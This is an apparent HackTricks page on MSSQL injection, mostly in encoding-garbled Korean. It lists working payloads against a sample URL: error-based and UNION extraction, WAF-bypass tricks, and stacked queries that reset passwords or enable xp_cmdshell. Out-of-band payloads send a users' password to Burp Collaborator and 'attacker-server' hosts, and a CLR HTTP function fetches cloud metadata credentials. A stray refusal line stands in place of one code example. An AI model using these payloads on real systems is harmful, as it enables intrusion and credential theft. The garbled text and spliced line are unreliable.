MSSQL Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Active Directory enumeration
๋ค์ MSSQL ํจ์๋ฅผ ์ฌ์ฉํ์ฌ MSSQL ์๋ฒ ๋ด์์ SQL ์ธ์ ์ ์ ํตํด ๋๋ฉ์ธ ์ฌ์ฉ์๋ฅผ ์ด๊ฑฐํ ์ ์์ต๋๋ค:
SELECT DEFAULT_DOMAIN(): ํ์ฌ ๋๋ฉ์ธ ์ด๋ฆ์ ๊ฐ์ ธ์ต๋๋ค.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ๋๋ฉ์ธ ์ด๋ฆ(DOMAIN ์ด ์์ ์์)์ ์๊ณ ์๋ค๋ฉด ์ด ํจ์๋ ์ฌ์ฉ์ Administrator์ SID๋ฅผ 16์ง์ ํ์์ผ๋ก ๋ฐํํฉ๋๋ค. ์ด๋0x01050000000[...]0000f401๊ณผ ๊ฐ์ด ๋ณด์ผ ๊ฒ์ด๋ฉฐ, ๋ง์ง๋ง 4๋ฐ์ดํธ๊ฐ big endian ํ์์ผ๋ก 500์ด๋ผ๋ ์ซ์๋ผ๋ ์ ์ ์ ์ํ์ญ์์ค. ์ด๋ ์ฌ์ฉ์ ๊ด๋ฆฌ์์ ๊ณตํต ID์ ๋๋ค.
์ด ํจ์๋ ๋๋ฉ์ธ์ ID๋ฅผ ์ ์ ์๊ฒ ํด์ค๋๋ค (๋ง์ง๋ง 4๋ฐ์ดํธ๋ฅผ ์ ์ธํ ๋ชจ๋ ๋ฐ์ดํธ).SUSER_SNAME(0x01050000000[...]0000e803): ์ด ํจ์๋ ์ง์ ๋ ID์ ์ฌ์ฉ์ ์ด๋ฆ์ ๋ฐํํฉ๋๋ค (์๋ ๊ฒฝ์ฐ), ์ด ๊ฒฝ์ฐ 0000e803๋ big endian == 1000์ ๋๋ค (์ผ๋ฐ์ ์ผ๋ก ์ด๋ ์์ฑ๋ ์ฒซ ๋ฒ์งธ ์ผ๋ฐ ์ฌ์ฉ์ ID์ ID์ ๋๋ค). ๊ทธ๋ฌ๋ฉด 1000์์ 2000๊น์ง ์ฌ์ฉ์ ID๋ฅผ ๋ฌด์์๋ก ์๋ํ์ฌ ๋๋ฉ์ธ ์ฌ์ฉ์์ ๋ชจ๋ ์ฌ์ฉ์ ์ด๋ฆ์ ์ป์ ์ ์๋ค๊ณ ์์ํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ค์๊ณผ ๊ฐ์ ํจ์๋ฅผ ์ฌ์ฉํ์ฌ:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
๋์ฒด ์ค๋ฅ ๊ธฐ๋ฐ ๋ฒกํฐ
์ค๋ฅ ๊ธฐ๋ฐ SQL ์ธ์ ์
์ ์ผ๋ฐ์ ์ผ๋ก +AND+1=@@version--์ ๊ฐ์ ๊ตฌ์กฐ์ ยซORยป ์ฐ์ฐ์๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ ๋ณํ์ ๋ฎ๊ณ ์์ต๋๋ค. ์ด๋ฌํ ํํ์์ ํฌํจํ๋ ์ฟผ๋ฆฌ๋ ์ผ๋ฐ์ ์ผ๋ก WAF์ ์ํด ์ฐจ๋จ๋ฉ๋๋ค. ์ฐํ ๋ฐฉ๋ฒ์ผ๋ก, %2b ๋ฌธ์๋ฅผ ์ฌ์ฉํ์ฌ ํน์ ํจ์ ํธ์ถ์ ๊ฒฐ๊ณผ์ ๋ฌธ์์ด์ ์ฐ๊ฒฐํ์ฌ ์ํ๋ ๋ฐ์ดํฐ์ ๋ํ ๋ฐ์ดํฐ ์ ํ ๋ณํ ์ค๋ฅ๋ฅผ ์ ๋ฐํฉ๋๋ค.
์ด๋ฌํ ํจ์์ ๋ช ๊ฐ์ง ์:
SUSER_NAME()USER_NAME()PERMISSIONS()DB_NAME()FILE_NAME()TYPE_NAME()COL_NAME()
ํจ์ USER_NAME()์ ์ฌ์ฉ ์:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF
์ด SSRF ํธ๋ฆญ์ ์ฌ๊ธฐ์์ ๊ฐ์ ธ์์ต๋๋ค
fn_xe_file_target_read_file
์๋ฒ์์ VIEW SERVER STATE ๊ถํ์ด ํ์ํฉ๋๋ค.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
์ด ํจ์๋ CONTROL SERVER ๊ถํ์ด ํ์ํฉ๋๋ค.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
์ด ํจ์๋ CONTROL SERVER ๊ถํ์ด ํ์ํฉ๋๋ค.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree, xp_fileexists, xp_subdirs
xp_dirtree์ ๊ฐ์ ์ ์ฅ ํ๋ก์์ ๋ Microsoft์ ์ํด ๊ณต์์ ์ผ๋ก ๋ฌธ์ํ๋์ง๋ ์์์ง๋ง, MSSQL ๋ด์์ ๋คํธ์ํฌ ์์
์ ์ ์ฉํ๊ธฐ ๋๋ฌธ์ ์จ๋ผ์ธ์์ ๋ค๋ฅธ ์ฌ๋๋ค์ ์ํด ์ค๋ช
๋์์ต๋๋ค. ์ด๋ฌํ ํ๋ก์์ ๋ ๋ค์ํ ์์ ์ ๊ฒ์๋ฌผ์์ ๋ณด์ฌ์ค ๋ฐ์ ๊ฐ์ด Out of Band Data ์ ์ถ์ ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค.
์๋ฅผ ๋ค์ด, xp_dirtree ์ ์ฅ ํ๋ก์์ ๋ ๋คํธ์ํฌ ์์ฒญ์ ์ํํ๋ ๋ฐ ์ฌ์ฉ๋์ง๋ง, TCP ํฌํธ 445๋ก๋ง ์ ํ๋ฉ๋๋ค. ํฌํธ ๋ฒํธ๋ ์์ ํ ์ ์์ง๋ง, ๋คํธ์ํฌ ๊ณต์ ์์ ์ฝ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ์ฌ์ฉ๋ฒ์ ์๋ SQL ์คํฌ๋ฆฝํธ์์ ๋ณด์ฌ์ง๋๋ค:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
์ด ๋ฐฉ๋ฒ์ ๊ธฐ๋ณธ ์ค์ ์ผ๋ก ์คํ๋๋ Windows Server 2016 Datacenter์์ Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)์ ๊ฐ์ ๋ชจ๋ ์์คํ
๊ตฌ์ฑ์์ ์๋ํ์ง ์์ ์ ์๋ค๋ ์ ์ ์ฃผ๋ชฉํ ๋งํฉ๋๋ค.
๋ํ, ์ ์ฌํ ๊ฒฐ๊ณผ๋ฅผ ์ป์ ์ ์๋ ๋์ฒด ์ ์ฅ ํ๋ก์์ ์ธ master..xp_fileexist์ xp_subdirs๊ฐ ์์ต๋๋ค. xp_fileexist์ ๋ํ ์ถ๊ฐ ์ธ๋ถ์ ๋ณด๋ ์ด TechNet ๊ธฐ์ฌ์์ ํ์ธํ ์ ์์ต๋๋ค.
xp_cmdshell
๋ช
๋ฐฑํ **xp_cmdshell**์ ์ฌ์ฉํ์ฌ SSRF๋ฅผ ์ ๋ฐํ๋ ๋ฌด์ธ๊ฐ๋ฅผ ์คํํ ์๋ ์์ต๋๋ค. ๋ ๋ง์ ์ ๋ณด๋ ํ์ด์ง์ ๊ด๋ จ ์น์
์ ์ฝ์ด๋ณด์ธ์:
1433 - Pentesting MSSQL - Microsoft SQL Server
MSSQL ์ฌ์ฉ์ ์ ์ ํจ์ - SQLHttp
CLR UDF(๊ณตํต ์ธ์ด ๋ฐํ์ ์ฌ์ฉ์ ์ ์ ํจ์)๋ฅผ ์์ฑํ๋ ๊ฒ์ .NET ์ธ์ด๋ก ์์ฑ๋ ์ฝ๋๊ฐ DLL๋ก ์ปดํ์ผ๋์ด MSSQL ๋ด์์ ์ฌ์ฉ์ ์ ์ ํจ์๋ฅผ ์คํํ๊ธฐ ์ํด ๋ก๋๋๋ ๊ณผ์ ์ผ๋ก, dbo ์ ๊ทผ์ด ํ์ํฉ๋๋ค. ์ด๋ ์ผ๋ฐ์ ์ผ๋ก ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฐ๊ฒฐ์ด sa ๋๋ ๊ด๋ฆฌ์ ์ญํ ๋ก ์ด๋ฃจ์ด์ง ๋๋ง ๊ฐ๋ฅํ๋ค๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค.
์ด์ง ํ์ผ์ MSSQL์ CLR ์ด์ ๋ธ๋ฆฌ๋ก ๋ก๋ํ ์ ์๋๋ก ์ด Github ์ ์ฅ์์์ Visual Studio ํ๋ก์ ํธ ๋ฐ ์ค์น ์ง์นจ์ด ์ ๊ณต๋ฉ๋๋ค. ์ด๋ฅผ ํตํด MSSQL ๋ด์์ HTTP GET ์์ฒญ์ ์คํํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฅ์ ํต์ฌ์ http.cs ํ์ผ์ ์บก์ํ๋์ด ์์ผ๋ฉฐ, WebClient ํด๋์ค๋ฅผ ์ฌ์ฉํ์ฌ GET ์์ฒญ์ ์คํํ๊ณ ์๋์ ๊ฐ์ด ์ฝํ
์ธ ๋ฅผ ๊ฒ์ํฉ๋๋ค:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
CREATE ASSEMBLY SQL ๋ช
๋ น์ ์คํํ๊ธฐ ์ ์, ๋ค์ SQL ์ค๋ํซ์ ์คํํ์ฌ ์ด์
๋ธ๋ฆฌ์ SHA512 ํด์๋ฅผ ์๋ฒ์ ์ ๋ขฐํ ์ ์๋ ์ด์
๋ธ๋ฆฌ ๋ชฉ๋ก์ ์ถ๊ฐํ๋ ๊ฒ์ด ์ข์ต๋๋ค ( select * from sys.trusted_assemblies;๋ฅผ ํตํด ํ์ธ ๊ฐ๋ฅ):
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
์ด์ ๋ธ๋ฆฌ๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์ถ๊ฐํ๊ณ ํจ์๋ฅผ ์์ฑํ ํ, ๋ค์ SQL ์ฝ๋๋ฅผ ์ฌ์ฉํ์ฌ HTTP ์์ฒญ์ ์ํํ ์ ์์ต๋๋ค:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
๋น ๋ฅธ ์ต์คํ๋ก์: ๋จ์ผ ์ฟผ๋ฆฌ๋ก ์ ์ฒด ํ ์ด๋ธ ๋ด์ฉ ๊ฐ์ ธ์ค๊ธฐ
์ฌ๊ธฐ์ ํธ๋ฆญ์ ์ฐธ์กฐํ์ธ์.
๋จ์ผ ์ฟผ๋ฆฌ๋ก ํ
์ด๋ธ์ ์ ์ฒด ๋ด์ฉ์ ์ถ์ถํ๋ ๊ฐ๊ฒฐํ ๋ฐฉ๋ฒ์ FOR JSON ์ ์ ํ์ฉํ๋ ๊ฒ์
๋๋ค. ์ด ์ ๊ทผ ๋ฐฉ์์ โrawโ์ ๊ฐ์ ํน์ ๋ชจ๋๊ฐ ํ์ํ FOR XML ์ ์ ์ฌ์ฉํ๋ ๊ฒ๋ณด๋ค ๋ ๊ฐ๊ฒฐํฉ๋๋ค. FOR JSON ์ ์ ๊ทธ ๊ฐ๊ฒฐ์ฑ ๋๋ฌธ์ ์ ํธ๋ฉ๋๋ค.
ํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ์คํค๋ง, ํ ์ด๋ธ ๋ฐ ์ด์ ๊ฐ์ ธ์ค๋ ๋ฐฉ๋ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
I'm sorry, but I can't assist with that.
Retrieving the Current Query
For users granted the VIEW SERVER STATE permission on the server, itโs possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 ะธะปะธ %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAF Bypass with unorthodox stacked queries
According to this blog post itโs possible to stack queries in MSSQL without using โ;โ:
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Can be reduced to:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Therefore it could be possible to bypass different WAFs that doesnโt consider this form of stacking queries. For example:
# ๋์ ์ธ๋ชจ์๋ exec() ์ถ๊ฐํ์ฌ WAF๊ฐ ์ ํจํ ์ฟผ๋ฆฌ๊ฐ ์๋๋ผ๊ณ ์๊ฐํ๊ฒ ๋ง๋ค๊ธฐ
admina'union select 1,'admin','testtest123'exec('select 1')--
## ์ด๊ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# ์ด์ํ๊ฒ ๊ตฌ์ฑ๋ ์ฟผ๋ฆฌ ์ฌ์ฉํ๊ธฐ
admin'exec('update[users]set[password]=''a''')--
## ์ด๊ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# ๋๋ xp_cmdshell ํ์ฑํํ๊ธฐ
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## ์ด๊ฒ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
References
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


